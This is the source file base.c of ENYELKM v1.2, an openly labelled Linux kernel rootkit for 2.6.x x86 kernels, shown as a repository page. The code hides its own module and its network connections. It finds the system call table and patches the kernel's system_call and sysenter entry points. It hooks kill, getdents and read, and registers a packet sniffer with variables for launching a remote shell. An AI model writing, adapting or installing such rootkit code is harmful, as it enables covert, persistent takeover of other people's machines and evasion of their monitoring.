-
-
Notifications
You must be signed in to change notification settings - Fork 31
/
base.c
367 lines (264 loc) · 7 KB
/
base.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
/*
* ENYELKM v1.2
* Linux Rootkit x86 kernel v2.6.x
*
* By RaiSe && David Reguera
* http://www.enye-sec.org >
*/
#include <linux/types.h>
#include <linux/stddef.h>
#include <linux/unistd.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/netdevice.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <net/tcp.h>
#include <asm/processor.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include "config.h"
#include "data.h"
#include "syscalls.h"
#include "remoto.h"
#include "kill.h"
#include "read.h"
#include "ls.h"
#define ORIG_EXIT 19
#define DIRECALL 42
#define SALTO 5
#define SKILL 49
#define SGETDENTS64 57
#define SREAD 65
#define DAFTER_CALL 70
#define DNRSYSCALLS 10
#define ASMIDType( valor ) \
__asm__ ( valor );
#define JmPushRet( valor ) \
ASMIDType \
( \
"push %0 \n" \
"ret \n" \
\
: : "m" (valor) \
);
#define CallHookedSyscall( valor ) \
ASMIDType( "call *%0" : : "r" (valor) );
/* punteros a syscalls/funciones originales */
int (*orig_tcp4_seq_show)(struct seq_file *seq, void *v);
asmlinkage int (*orig_kill)(pid_t pid, int sig);
asmlinkage long (*orig_getdents64)
(unsigned int fd, struct dirent64 *dirp, unsigned int count);
asmlinkage long (*orig_getdents)
(unsigned int fd, struct dirent *dirp, unsigned int count);
/* variables globales */
extern struct proc_dir_entry *proc_net;
unsigned long dire_exit, after_call;
unsigned long dire_call, global_ip;
short lanzar_shell;
atomic_t read_activo;
void *sysenter_entry;
void **sys_call_table;
struct packet_type my_pkt;
unsigned short global_port;
int errno;
/* prototipos funciones */
void *get_system_call(void);
void *get_sys_call_table(void *system_call);
void set_idt_handler(void *system_call);
void set_sysenter_handler(void *sysenter);
void *get_sysenter_entry(void);
void new_idt(void);
void hook(void);
/* estructuras */
struct idt_descriptor
{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
};
int init_module(void)
{
void *s_call;
struct module *m = &__this_module;
struct proc_dir_entry *tcp = proc_net->subdir->next;
/* borramos nuestro modulo de la lista */
if (m->init == init_module)
list_del(&m->list);
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,7)
kobject_unregister(&m->mkobj.kobj);
#endif
/* redefinimos tcp4_seq_show() */
while (strcmp(tcp->name, "tcp") && (tcp != proc_net->subdir))
tcp = tcp->next;
if (tcp != proc_net->subdir)
{
orig_tcp4_seq_show = ((struct tcp_seq_afinfo *)(tcp->data))->seq_show;
((struct tcp_seq_afinfo *)(tcp->data))->seq_show = hacked_tcp4_seq_show;
#if DEBUG == 1
printk("enyelkm: hacked_tcp4_seq_show() injectada!\n");
#endif
}
sysenter_entry = get_sysenter_entry();
/* variables de control */
lanzar_shell = 0;
atomic_set(&read_activo, 0);
global_ip = 0xffffffff;
/* averiguar sys_call_table */
s_call = get_system_call();
sys_call_table = get_sys_call_table(s_call);
/* punteros a syscalls originales */
orig_kill = sys_call_table[__NR_kill];
orig_getdents64 = sys_call_table[__NR_getdents64];
orig_getdents = sys_call_table[__NR_getdents];
/* modificar los handlers */
set_idt_handler(s_call);
set_sysenter_handler(sysenter_entry);
/* insertamos el nuevo filtro */
my_pkt.type=htons(ETH_P_ALL);
my_pkt.func=capturar;
dev_add_pack(&my_pkt);
#if DEBUG == 1
printk("enyelkm instalado!\n");
#endif
return(0);
} /*********** fin init_module ***********/
void cleanup_module(void)
{
/* dejar terminar procesos que estan 'leyendo' */
while (atomic_read(&read_activo) != 0)
schedule();
#if DEBUG == 1
printk("enyelkm desinstalado!\n");
#endif
} /*********** fin cleanup_module ************/
void *get_system_call(void)
{
unsigned char idtr[6];
unsigned long base;
struct idt_descriptor desc;
asm ("sidt %0" : "=m" (idtr));
base = *((unsigned long *) &idtr[2]);
memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc));
return((void *) ((desc.off_high << 16) + desc.off_low));
} /*********** fin get_sys_call_table() ***********/
void *get_sys_call_table(void *system_call)
{
unsigned char *p;
unsigned long s_c_t;
p = (unsigned char *) system_call;
while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
p++;
dire_call = (unsigned long) p;
p += 3;
s_c_t = *((unsigned long *) p);
p += 4;
after_call = (unsigned long) p;
/* cli */
while (*p != 0xfa)
p++;
dire_exit = (unsigned long) p;
return((void *) s_c_t);
} /********** fin get_sys_call_table() *************/
void set_idt_handler(void *system_call)
{
unsigned char *p;
unsigned long *p2;
p = (unsigned char *) system_call;
/* primer salto */
while (!((*p == 0x0f) && (*(p+1) == 0x83)))
p++;
p -= 5;
*p++ = 0x68;
p2 = (unsigned long *) p;
*p2++ = (unsigned long) ((void *) new_idt);
p = (unsigned char *) p2;
*p = 0xc3;
/* syscall_trace_entry salto */
while (!((*p == 0x0f) && (*(p+1) == 0x82)))
p++;
p -= 5;
*p++ = 0x68;
p2 = (unsigned long *) p;
*p2++ = (unsigned long) ((void *) new_idt);
p = (unsigned char *) p2;
*p = 0xc3;
} /********** fin set_idt_handler() ***********/
void set_sysenter_handler(void *sysenter)
{
unsigned char *p;
unsigned long *p2;
p = (unsigned char *) sysenter;
/* buscamos call */
while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
p++;
/* buscamos el jae syscall_badsys */
while (!((*p == 0x0f) && (*(p+1) == 0x83)))
p--;
p -= 5;
/* metemos el salto */
*p++ = 0x68;
p2 = (unsigned long *) p;
*p2++ = (unsigned long) ((void *) new_idt);
p = (unsigned char *) p2;
*p = 0xc3;
} /************* fin set_sysenter_handler() **********/
void new_idt(void)
{
ASMIDType
(
"cmp %0, %%eax \n"
"jae syscallmala \n"
"jmp hook \n"
"syscallmala: \n"
"jmp dire_exit \n"
: : "i" (NR_syscalls)
);
} /********** fin new_idt() **************/
void hook(void)
{
register int eax asm("eax");
switch(eax)
{
case __NR_kill:
CallHookedSyscall(hacked_kill);
break;
case __NR_getdents:
CallHookedSyscall(hacked_getdents);
break;
case __NR_getdents64:
CallHookedSyscall(hacked_getdents64);
break;
case __NR_read:
CallHookedSyscall(hacked_read);
break;
default:
JmPushRet(dire_call);
break;
}
JmPushRet( after_call );
} /*********** fin hook() ************/
/* thx to Int27h :-) */
void *get_sysenter_entry(void)
{
void *psysenter_entry = NULL;
unsigned long v2;
if (boot_cpu_has(X86_FEATURE_SEP))
rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2);
else
return((void *) DSYSENTER);
return(psysenter_entry);
} /********** fin get_sysenter_entry() **********/
/* Licencia GPL */
MODULE_LICENSE("GPL");
/* EOF */